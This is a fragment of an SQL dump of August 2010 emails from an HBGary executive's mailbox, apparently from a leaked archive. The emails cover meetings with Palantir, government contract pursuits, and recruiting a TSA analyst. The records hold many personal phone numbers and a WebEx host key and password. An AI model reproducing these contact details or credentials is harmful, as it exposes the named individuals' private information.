Kurt Sauer and FIRST\r\nProgram Chair, Gavin Reid.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCall\r\nfor Speakers Reminder\r\n\r\nPrep\r\nthose abstracts and bios!&nbsp; The 2011 Call for Speakers (CFS) will open\r\nSeptember 1st.&nbsp; Questions about the 2011 program?&nbsp; Send\r\nemail to first-2011chair@first.org.&nbsp;\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSponsorships\r\n\r\nInterested\r\nin sponsoring the Annual FIRST Conference?&nbsp; Please visit http://conference.first.org/sponsorship/matrix.aspx\r\nfor more information.&nbsp; Sponsorship is a great way to show your involvement\r\nwithin the FIRST community as well as help us pull together a great\r\nconference.&nbsp; Please send email to first-2011@first.org.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nWe\r\nlook forward to the upcoming 2011 conference year with you all!\r\n\r\n&nbsp;\r\n\r\nKind\r\nregards,\r\n\r\nTraci&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7066,'aaron_hbgary_com/7066.html'),(10235,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007973.M762633P14101Q5090.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','Logos','Discription:\r\n\r\nIncident Response solutions and services, reverse engineering, malware analysis\r\nThreat Intelligence, cyber threat collection, analysis, and reporting\r\nInformation Operations, computer network operations, vulnerability analysis and exploit development\r\nSocial Media consulting, training, information exposure monitoring\r\n\r\n\r\n',11064,'aaron_hbgary_com/11064.html'),(10236,'2010-08-13','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297007974.M251862P14101Q5092.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Logos','Thanx\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, August 13, 2010 9:11 AM\r\nTo: Kirby Kintner\r\nSubject: Logos\r\n\r\nDiscription:\r\n\r\nIncident Response solutions and services, reverse engineering, malware analysis Threat Intelligence, cyber threat collection, analysis, and reporting Information Operations, computer network operations, vulnerability analysis and exploit development Social Media consulting, training, information exposure monitoring\r\n\r\n\r\n',8505,'aaron_hbgary_com/8505.html'),(10237,'2010-08-13','messenger@webex.com','/aaron@hbgary.com/new/1297007974.M471622P14101Q5093.eml','aaron@hbgary.com','Meeting scheduled: Palantir Fingerprint Integration',' You are the host for this online meeting.   Host Key: 539017 (use this to reclaim host privileges)   To invite others to join, copy and paste everything below into your invitation.  -------------------------------------------------------  Meeting information  -------------------------------------------------------  Topic: Palantir Fingerprint Integration  Date: Friday, August 13, 2010  Time: 12:30 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 577 055 801  Meeting Password: palantir   -------------------------------------------------------  To start or join the online meeting  -------------------------------------------------------  Go to https://hbgary.webex.com/hbgary/j.php?ED=153311462&UID=488445912&PW=NZjg0YzIyMjk2&RT=MiMxMQ%3D%3D   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=153311462&tollFree=0   Access code:577 055 801   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".  To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=153311462&UID=488445912&ICS=MS&LD=1&RD=2&ST=1&SHA2=9k6csbf2is7Z64nf5oAi4WtIjXrrnBiU6RNGp/tfnMU=   To check whether you have the appropriate players installed for UCF (Universal Communications Format) rich media files, go to https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. You should inform all meeting attendees prior to recording if you intend to record the meeting. Please note that any such recordings may be subject to discovery in the event of litigation.  ',9151,'aaron_hbgary_com/9151.html'),(10238,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007974.M51165P14101Q5091.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Contacts','TSA:\r\nPaul Meaney \r\nBruce Friedman \r\nCzaplewski, John (IS) \r\nBrancik, Dr. Kenneth (IS) \r\n\r\nClass meetings:\r\nHibbeln, Brian, Mr, OSD-ATL \r\nOSD/Rapid Fielding Office\r\nSpecial Capabilities\r\n\r\nVoice: 703 746-1200\r\nPager: 877 351-2519\r\nGrey / NSTS: 984-8201\r\n\r\n\r\n\r\n\r\n',1586,'aaron_hbgary_com/1586.html'),(10239,'2010-08-13','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297007974.M711222P14101Q5094.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Contacts','Thanks Aaron.\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, August 13, 2010 9:15 AM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Contacts\r\n\r\nTSA:\r\nPaul Meaney \r\nBruce Friedman \r\nCzaplewski, John (IS) \r\nBrancik, Dr. Kenneth (IS) \r\n\r\nClass meetings:\r\nHibbeln, Brian, Mr, OSD-ATL \r\nOSD/Rapid Fielding Office\r\nSpecial Capabilities\r\n\r\nVoice: 703 746-1200\r\nPager: 877 351-2519\r\nGrey / NSTS: 984-8201\r\n\r\n\r\n\r\n\r\n',9702,'aaron_hbgary_com/9702.html'),(10240,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007975.M565124P14101Q5095.eml','\"Mike Spohn\" <mike@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>','Fwd:','If this guy was any good could you use him on IR engagements?\r\n\r\nHere is my goal.  He is currently the lead forensics analyst at TSA, the $190M contract we are going after.  We want to hire this guy away if he is any good, the customer loves him.  If you can use him short term for some IR, and we can use him to do some of the cyber accelerator work for OSD/ATL we can cover him and take him away from the incumbent.\r\n\r\nJust trying to use some strategery.\r\n\r\nThanks,\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: John Fanguy \r\n> Date: August 13, 2010 8:48:04 AM EDT\r\n> To: \"\'aaron@hbgary.com\'\" \r\n> \r\n>  \r\n>  \r\n>  \r\n> -John\r\n>  \r\n> John Fanguy\r\n> VP\r\n> Digital Management, Inc.\r\n> \"Leading Government Transformation\"\r\n> GSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n> --------------------------------------------------\r\n> 6701 Democracy Blvd, Suite 500\r\n> Bethesda, Maryland 20817\r\n> 301-346-6749 cell\r\n> 240-223-4800 main\r\n> \r\n>  \r\n\r\n',9218,'aaron_hbgary_com/9218.html'),(10241,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007975.M810026P14101Q5096.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: EXTERNAL:Contacts','any time.\r\n\r\nOn Aug 13, 2010, at 9:38 AM, Masterson, Brian M (XETRON) wrote:\r\n\r\n> Thanks Aaron.\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, August 13, 2010 9:15 AM\r\n> To: Masterson, Brian M (XETRON)\r\n> Subject: EXTERNAL:Contacts\r\n> \r\n> TSA:\r\n> Paul Meaney \r\n> Bruce Friedman \r\n> Czaplewski, John (IS) \r\n> Brancik, Dr. Kenneth (IS) \r\n> \r\n> Class meetings:\r\n> Hibbeln, Brian, Mr, OSD-ATL \r\n> OSD/Rapid Fielding Office\r\n> Special Capabilities\r\n> \r\n> Voice: 703 746-1200\r\n> Pager: 877 351-2519\r\n> Grey / NSTS: 984-8201\r\n> \r\n> \r\n> \r\n> \r\n\r\n',1842,'aaron_hbgary_com/1842.html'),(10242,'2010-08-13','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297007976.M23507P14101Q5097.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Contacts','May have stuff to talk about next week.  Looks like I am getting 500K of\r\nNCTAs dumped on me today.  \r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, August 13, 2010 9:41 AM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Contacts\r\n\r\nany time.\r\n\r\nOn Aug 13, 2010, at 9:38 AM, Masterson, Brian M (XETRON) wrote:\r\n\r\n> Thanks Aaron.\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, August 13, 2010 9:15 AM\r\n> To: Masterson, Brian M (XETRON)\r\n> Subject: EXTERNAL:Contacts\r\n> \r\n> TSA:\r\n> Paul Meaney \r\n> Bruce Friedman \r\n> Czaplewski, John (IS) \r\n> Brancik, Dr. Kenneth (IS) \r\n> \r\n> Class meetings:\r\n> Hibbeln, Brian, Mr, OSD-ATL \r\n> OSD/Rapid Fielding Office\r\n> Special Capabilities\r\n> \r\n> Voice: 703 746-1200\r\n> Pager: 877 351-2519\r\n> Grey / NSTS: 984-8201\r\n> \r\n> \r\n> \r\n> \r\n\r\n',3123,'aaron_hbgary_com/3123.html'),(10243,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007976.M239578P14101Q5098.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Quotes','Do we have any good quotes from customer on how the software has been able to reduce workload, etc.\r\n\r\nAaron',2416,'aaron_hbgary_com/2416.html'),(10244,'2010-08-13','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297007976.M460355P14101Q5099.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Palantir Discussions @ Fri Aug 13 12:30pm - 1:30pm (azollman@palantirtech.com)','',2577,'aaron_hbgary_com/2577.html'),(10245,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007979.M341690P14101Q5100.eml','\"Aaron Barr\" <aaron@hbgary.com>','Document','\r\n',899,'aaron_hbgary_com/899.html'),(10246,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007980.M257323P14101Q5101.eml','\"Aaron Barr\" <aaron@hbgary.com>','Document Content','\r\n',10508,'aaron_hbgary_com/10508.html'),(10247,'2010-08-13','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007981.M882545P14101Q5102.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Quotes','A current prospect said they suspected a computer was compromised.  One\r\nengineer investigated for 10 hours to uncover the problem.  Another engineer\r\nused analyzed a memory image in Responder + DDNA and found the same malware\r\nin 4 minutes.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, August 13, 2010 9:49 AM\r\nTo: Bob Slapnik; Maria Lucas\r\nCc: Penny Leavy\r\nSubject: Quotes\r\n\r\nDo we have any good quotes from customer on how the software has been able\r\nto reduce workload, etc.\r\n\r\nAaron\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.851 / Virus Database: 271.1.1/3066 - Release Date: 08/13/10\r\n02:34:00\r\n\r\n',6435,'aaron_hbgary_com/6435.html'),(10248,'2010-08-13','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007983.M120841P14101Q5103.eml','\"Barr Aaron\" <aaron@hbgary.com>','Tomorrow by noon','\r\n\r\n',1777,'aaron_hbgary_com/1777.html'),(10249,'2010-08-13','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297007983.M490591P14101Q5104.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Palantir Discussions @ Fri Aug 13 12:30pm - 1:30pm (aaron@hbgary.com)','Mark Trynor has accepted this invitation.Palantir DiscussionsWhenFri Aug 13 12:30pm – 1:30pm Eastern TimeWhereWebex (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;mark@hbgary.com&#x2022;azollman@palantirtech.com&#x2022;tedvera@me.com&#x2022;msteckman@palantirtech.comInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitation replies on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',8646,'aaron_hbgary_com/8646.html'),(10250,'2010-08-13','\"Michael G. Spohn\" <mike@hbgary.com>','/aaron@hbgary.com/new/1297007983.M698497P14101Q5105.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd:','\r\n\r\n\r\n  \r\n\r\n\r\nYes - I am sure I can use him. \r\nDo you know how expensive he will be to hire?\r\nIs he willing to travel?\r\n\r\n\r\nMGS\r\n\r\nOn 8/13/2010 6:41 AM, Aaron Barr wrote:\r\nIf this guy was any good could\r\nyou use him on IR engagements?\r\n  \r\n  \r\n  Here is my goal. &nbsp;He is currently the lead forensics analyst at\r\nTSA, the $190M contract we are going after. &nbsp;We want to hire this guy\r\naway if he is any good, the customer loves him. &nbsp;If you can use him\r\nshort term for some IR, and we can use him to do some of the cyber\r\naccelerator work for OSD/ATL we can cover him and take him away from\r\nthe incumbent.\r\n  \r\n  \r\n  Just trying to use some strategery.\r\n  \r\n  \r\n  Thanks,\r\n  Aaron\r\n  \r\n  Begin forwarded message:\r\n  \r\n  \r\n    From:\r\n    John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\n    \r\n    Date:\r\n    August 13, 2010\r\n8:48:04 AM EDT\r\n    \r\n    To:\r\n    \"\'aaron@hbgary.com\'\"\r\n&lt;aaron@hbgary.com&gt;\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    &nbsp;\r\n    &nbsp;\r\n    -John\r\n    &nbsp;\r\n    John Fanguy\r\n    VP\r\n    Digital\r\nManagement, Inc.\r\n    \"Leading\r\nGovernment Transformation\"\r\n    GSA\r\n8(a) STARS - GSA IT 70 - GSA MOBIS\r\n    --------------------------------------------------\r\n    6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n    301-346-6749\r\ncell\r\n    240-223-4800&nbsp;main\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n-- \r\n\r\n\r\nMichael\r\nG. Spohn | Director &#8211; Security Services | HBGary, Inc.\r\nOffice\r\n916-459-4727\r\nx124\r\n| Mobile 949-370-7769 | Fax 916-481-1460\r\nmike@hbgary.com | www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n',2252,'aaron_hbgary_com/2252.html'),(10251,'2010-08-13','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007983.M902599P14101Q5106.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: LANL Delay','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria,&nbsp; Ted isn&#8217;t going on site and you crossed streams, I was\r\ntalking about Ted being at GFirst.&nbsp; So, is Rich still going on Monday?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, August 12, 2010 3:57 PM\r\nTo: Aaron Barr\r\nCc: Ted Vera; Rich Cummings; Penny C. Hoglund\r\nSubject: Re: LANL Delay\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRich is&nbsp;scheduled for the POC/Pilot on Monday.&nbsp;\r\nPenny was going to ask Ted to do this if he was already there but plans are in\r\nplace.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaybe Ted can plan to stop by\r\nthe lab when he is there and see what is going on because after Rich leaves he\r\nintends to roll out AD to more systems.\r\n\r\n\r\n\r\n\r\n\r\nOn Thu, Aug 12, 2010 at 3:54 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nDid u need us to do something else there?\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 12, 2010, at 6:40 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONGRATS\r\n\r\n\r\n\r\nOn Thu, Aug 12, 2010 at 3:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nLooks like we will be insure.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;\r\nDate: August 12, 2010 6:16:49 PM EDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;,\r\nAaron Barr &lt;aaron@hbgary.com&gt;,\r\nIra Entis &lt;Ira.Entis@agilex.com&gt;\r\nCc: &quot;mark@hbgary.com&quot;\r\n&lt;mark@hbgary.com&gt;\r\nSubject: RE: LANL Delay\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nand Ted,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nhave formalized the agreements with LANL and have received premission to\r\nproceed.&nbsp; They want you to start Monday 8/23 so you would need to fly in\r\nSunday evening.&nbsp; Travel money has been approved for you and the hotel (I\r\nwill get the specifics) they want you to stay at is a casino on and indian\r\nreservation and really nice.&nbsp; LANL wants a telecom next week sometime with\r\nyou to discuss.&nbsp; I will set it up once I know some dates that are good for\r\nthem and you.&nbsp; Do you see any issue with anything I have stated\r\nabove?&nbsp; Thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJerry\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted\r\nVera [ted@hbgary.com]\r\nSent: Thursday, August 05, 2010 12:09 PM\r\nTo: Aaron Barr; Jerry McClure; Ira Entis\r\nCc: mark@hbgary.com\r\nSubject: Re: LANL Delay\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nweek after would work, but we\'ll be at the G-First Conference in San Antonio\r\nthe week of Aug 15th. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn\r\nThu, Aug 5, 2010 at 8:02 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nWe\r\ncan accommodate. &nbsp;As long as we have about a week or so heads up to make\r\nsure we can clear schedules for the activity. \r\n\r\n\r\n\r\n&nbsp;so\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nAug 5, 2010, at 10:00 AM, Jerry McClure wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThere appears to be some delay with LANL as we work out the\r\nsecurity language risk.&nbsp; LANL asked if there was some flexibility in your\r\nschedule to push the start to August 15th&nbsp;or maybe even the\r\nweek after&nbsp; What do you say?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJerry\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5070,'aaron_hbgary_com/5070.html'),(10252,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007984.M136390P14101Q5107.eml','\"Michael G. Spohn\" <mike@hbgary.com>','Re: Re: Fwd:','I am going to hire him around 105 and yes . :)Sent from my iPhoneOn Aug 13, 2010, at 11:29 AM, &quot;Michael G. Spohn&quot; &lt;mike@hbgary.com&gt; wrote:\r\n\r\n\r\nYes - I am sure I can use him. \r\nDo you know how expensive he will be to hire?\r\nIs he willing to travel?\r\n\r\n\r\nMGS\r\n\r\nOn 8/13/2010 6:41 AM, Aaron Barr wrote:\r\nIf this guy was any good could\r\nyou use him on IR engagements?\r\n  \r\n  \r\n  Here is my goal.  He is currently the lead forensics analyst at\r\nTSA, the $190M contract we are going after.  We want to hire this guy\r\naway if he is any good, the customer loves him.  If you can use him\r\nshort term for some IR, and we can use him to do some of the cyber\r\naccelerator work for OSD/ATL we can cover him and take him away from\r\nthe incumbent.\r\n  \r\n  \r\n  Just trying to use some strategery.\r\n  \r\n  \r\n  Thanks,\r\n  Aaron\r\n  \r\n  Begin forwarded message:\r\n  \r\n  \r\n    From:\r\n    John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\n\r\n    \r\n    Date:\r\n    August 13, 2010\r\n8:48:04 AM EDT\r\n    \r\n    To:\r\n    &quot;&#39;aaron@hbgary.com&#39;&quot;\r\n&lt;aaron@hbgary.com&gt;\r\n    \r\n    \r\n    \r\n    \r\n    \r\n     \r\n     \r\n     \r\n    -John\r\n     \r\n    John Fanguy\r\n    VP\r\n    Digital\r\nManagement, Inc.\r\n    &quot;Leading\r\nGovernment Transformation&quot;\r\n    GSA\r\n8(a) STARS - GSA IT 70 - GSA MOBIS\r\n    --------------------------------------------------\r\n\r\n    6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n    301-346-6749\r\ncell\r\n    240-223-4800 main\r\n\r\n    \r\n    \r\n     \r\n    \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n  \r\n  \r\n  \r\n\r\n\r\n-- \r\n\r\n\r\nMichael\r\nG. Spohn | Director – Security Services | HBGary, Inc.\r\nOffice\r\n916-459-4727\r\nx124\r\n| Mobile 949-370-7769 | Fax 916-481-1460\r\nmike@hbgary.com | www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&lt;mike.vcf&gt;\r\n',16115,'aaron_hbgary_com/16115.html'),(10253,'2010-08-13','\"Michael G. Spohn\" <mike@hbgary.com>','/aaron@hbgary.com/new/1297007984.M342502P14101Q5108.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd:','\r\n\r\n\r\n  \r\n\r\n\r\nAwesome. \r\n\r\nMGS\r\n\r\nOn 8/13/2010 8:45 AM, Aaron Barr wrote:\r\n\r\n  I am going to hire him around 105 and yes . :)\r\n  \r\nSent from my iPhone\r\n  \r\nOn Aug 13, 2010, at 11:29 AM, \"Michael G. Spohn\" &lt;mike@hbgary.com&gt;\r\nwrote:\r\n  \r\n  \r\n  \r\n    Yes - I am sure I can use him. \r\nDo you know how expensive he will be to hire?\r\nIs he willing to travel?\r\n    \r\n    \r\nMGS\r\n    \r\nOn 8/13/2010 6:41 AM, Aaron Barr wrote:\r\n    If\r\nthis guy was any good could\r\nyou use him on IR engagements?\r\n      \r\n      \r\n      Here is my goal.  He is currently the lead forensics analyst\r\nat\r\nTSA, the $190M contract we are going after.  We want to hire this guy\r\naway if he is any good, the customer loves him.  If you can use him\r\nshort term for some IR, and we can use him to do some of the cyber\r\naccelerator work for OSD/ATL we can cover him and take him away from\r\nthe incumbent.\r\n      \r\n      \r\n      Just trying to use some strategery.\r\n      \r\n      \r\n      Thanks,\r\n      Aaron\r\n      \r\n      Begin forwarded message:\r\n      \r\n      \r\n        From:\r\n\r\n        John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\n        \r\n        Date:\r\n\r\n        August 13, 2010\r\n8:48:04 AM EDT\r\n        \r\n        To:\r\n\r\n        \"\'aaron@hbgary.com\'\"\r\n&lt;aaron@hbgary.com&gt;\r\n        \r\n        \r\n        \r\n        \r\n        \r\n         \r\n         \r\n         \r\n        -John\r\n         \r\n        John Fanguy\r\n        VP\r\n        Digital\r\nManagement, Inc.\r\n        \"Leading\r\nGovernment\r\nTransformation\"\r\n        GSA\r\n8(a)\r\nSTARS - GSA IT 70 - GSA MOBIS\r\n        --------------------------------------------------\r\n        6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n        301-346-6749\r\ncell\r\n        240-223-4800 main\r\n        \r\n        \r\n         \r\n        \r\n        \r\n        \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n    -- \r\n    Michael\r\nG. Spohn | Director – Security Services | HBGary, Inc.\r\n    Office\r\n916-459-4727\r\nx124\r\n|\r\nMobile 949-370-7769 | Fax 916-481-1460\r\n    mike@hbgary.com\r\n| www.hbgary.com\r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    &lt;mike.vcf&gt;\r\n  \r\n\r\n\r\n-- \r\n\r\n\r\nMichael\r\nG. Spohn | Director – Security Services | HBGary, Inc.\r\nOffice\r\n916-459-4727\r\nx124\r\n| Mobile 949-370-7769 | Fax 916-481-1460\r\nmike@hbgary.com | www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n',3120,'aaron_hbgary_com/3120.html'),(10254,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007984.M539926P14101Q5109.eml','\"Michael G. Spohn\" <mike@hbgary.com>','Re: Re: Fwd:','I&#39;ll set up a call so we can talk to him to find out where he is skill wise.AaronSent from my iPhoneOn Aug 13, 2010, at 11:54 AM, &quot;Michael G. Spohn&quot; &lt;mike@hbgary.com&gt; wrote:\r\n\r\n\r\nAwesome. 